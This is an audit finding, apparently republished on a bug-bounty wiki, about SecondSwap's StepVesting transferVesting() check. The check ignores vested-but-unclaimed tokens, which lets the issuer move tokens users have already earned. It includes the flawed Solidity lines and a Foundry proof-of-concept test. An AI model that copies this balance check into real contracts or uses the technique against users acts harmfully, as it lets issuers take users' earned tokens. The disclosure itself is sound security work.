Tokens that have already been vested can be transferred from a user.
The vesting transfer function only checked the unclaimed remainder against the total minus already-claimed amounts, ignoring tokens that had vested but were not yet claimed. A token issuer could therefore move a user's already-vested tokens to another beneficiary, leaving the original user able to claim less than they had earned.
Submitted by sl1
As stated by the contest page, token issuer must be able to reallocate vesting allocations from one user to another. It can be done via transferVesting() function of the StepVesting contract.
SecondSwap_StepVesting.sol#L224-L232
require(
grantorVesting.totalAmount - grantorVesting.amountClaimed >=
_amount,
"SS_StepVesting: insufficient balance"
);
grantorVesting.totalAmount -= _amount;
grantorVesting.releaseRate = grantorVesting.totalAmount / numOfSteps;
_createVesting(
_beneficiary,
_amount,
grantorVesting.stepsClaimed,
true
);
As can be seen, the function ensures that amount transferred is not greater than amount of tokens to vest left after some of them have been claimed.
However, it does not account for tokens that have already been vested, but remain unclaimed by a user. The moment tokens are vested, they cease to be part of the vesting process because the conditions for their release have already been met. Vested but unclaimed tokens are effectively owned by the beneficiary, but remain unclaimed. This essentially allows token issuer to transfer tokens owned by the user instead of reallocation a part of the vesting schedule.
Impact
Token issuer has an ability to transfer out tokens owner by users instead of reallocation vesting schedule.
Proof of Concept
To set up the following PoC in Foundry please follow the steps.
Inside the hardhat project directory:
npm install --save-dev @nomicfoundation/hardhat-foundry- Add
import "@nomicfoundation/hardhat-foundry";to the top of your hardhat.config.js file. - Run
npx hardhat init-foundryin your terminal. This will generate a foundry.toml file based on your Hardhat project’s existing configuration, and will install the forge-std library.
Run it with forge test --match-test 'test_sl1TokenIssuerCanTransferAlreadyVestedTokens' -vv.
import "lib/forge-std/src/Test.sol";
import "lib/forge-std/src/console2.sol";
import {SecondSwap_Marketplace} from "../contracts/SecondSwap_Marketplace.sol";
import {SecondSwap_MarketplaceSetting} from "../contracts/SecondSwap_MarketplaceSetting.sol";
import {SecondSwap_StepVesting} from "../contracts/SecondSwap_StepVesting.sol";
import {SecondSwap_VestingDeployer} from "../contracts/SecondSwap_VestingDeployer.sol";
import {SecondSwap_VestingManager} from "../contracts/SecondSwap_VestingManager.sol";
import {TestToken1} from "../contracts/USDT.sol";
contract sl1Test is Test {
SecondSwap_Marketplace public marketplace;
SecondSwap_MarketplaceSetting public marketplaceSettings;
SecondSwap_VestingDeployer public vestingDeployer;
SecondSwap_VestingManager public vestingManager;
TestToken1 public USDT;
address admin = makeAddr("admin");
address whitelist;
function setUp() public {
vm.startPrank(admin);
USDT = new TestToken1();
vestingManager = new SecondSwap_VestingManager();
vestingManager.initialize(admin);
marketplaceSettings = new SecondSwap_MarketplaceSetting(
admin,
admin,
whitelist,
address(vestingManager),
address(USDT)
);
marketplace = new SecondSwap_Marketplace();
marketplace.initialize(address(USDT), address(marketplaceSettings));
vestingDeployer = new SecondSwap_VestingDeployer();
vestingDeployer.initialize(admin, address(vestingManager));
vestingManager.setVestingDeployer(address(vestingDeployer));
vestingManager.setMarketplace(address(marketplace));
vm.stopPrank();
}
function test_sl1TokenIssuerCanTransferAlreadyVestedTokens() public {
address alice = makeAddr("alice");
address bob = makeAddr("bob");
vm.startPrank(admin);
vestingDeployer.setTokenOwner(address(USDT), admin);
vestingDeployer.deployVesting(
address(USDT),
block.timestamp,
block.timestamp + 10000,
10000,
"1"
);
// Got the address by console logging it in deployVesting func
address stepVesting = 0xD478411c1478E645A6bb53209E689080aE5101A1;
USDT.approve(stepVesting, 10000e18);
vestingDeployer.createVesting(alice, 10000e18, stepVesting);
vm.stopPrank();
// half of the vesting schedule has passed
vm.warp(block.timestamp + 5000);
uint256 snapshot = vm.snapshot();
assertEq(USDT.balanceOf(alice), 0);
vm.prank(alice);
SecondSwap_StepVesting(stepVesting).claim();
// alice is able to claim 5000 tokens
assertEq(USDT.balanceOf(alice), 5000e18);
vm.revertTo(snapshot);
vm.prank(admin);
// Before alice was able to claim her 5000 vested tokens, 5000 tokens are transferred from her
vestingDeployer.transferVesting(alice, bob, 5000e18, stepVesting, "1");
vm.prank(alice);
SecondSwap_StepVesting(stepVesting).claim();
// Even though alice has already vested 5000 tokens, now she is only able to claim 2500
assertEq(USDT.balanceOf(alice), 2500e18);
}
Recommended Mitigation
transferVesting() should account for tokens that have already been vested but remain unclaimed.
TechticalRAM (SecondSwap) acknowledged
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the balance check subtracts only amounts already claimed, not amounts already vested, so vested-but-unclaimed tokens are counted as transferable.
Impact
The token issuer could transfer tokens already owned by a user to another beneficiary, reducing what the user can claim.
What the attacker needed
Issuer controls the vesting contract; a vesting schedule exists for the user; some tokens have vested but are unclaimed
The fix
The transfer function should account for tokens that have already vested but remain unclaimed when checking the available balance.
How it was found
- Deploy the vesting setup and create a vesting schedule for a user
- Advance time so half of the schedule has vested
- As the issuer, call the vesting transfer function to move the vested amount to another address
- Have the original user claim and observe they receive only half of what they had vested
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A vesting contract releases tokens to a user gradually over time. Once a portion has 'vested', it belongs to that user even if they have not clicked claim yet. The transfer function treated those earned-but-unclaimed tokens as still available to move, so the issuer could take them away from the user.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.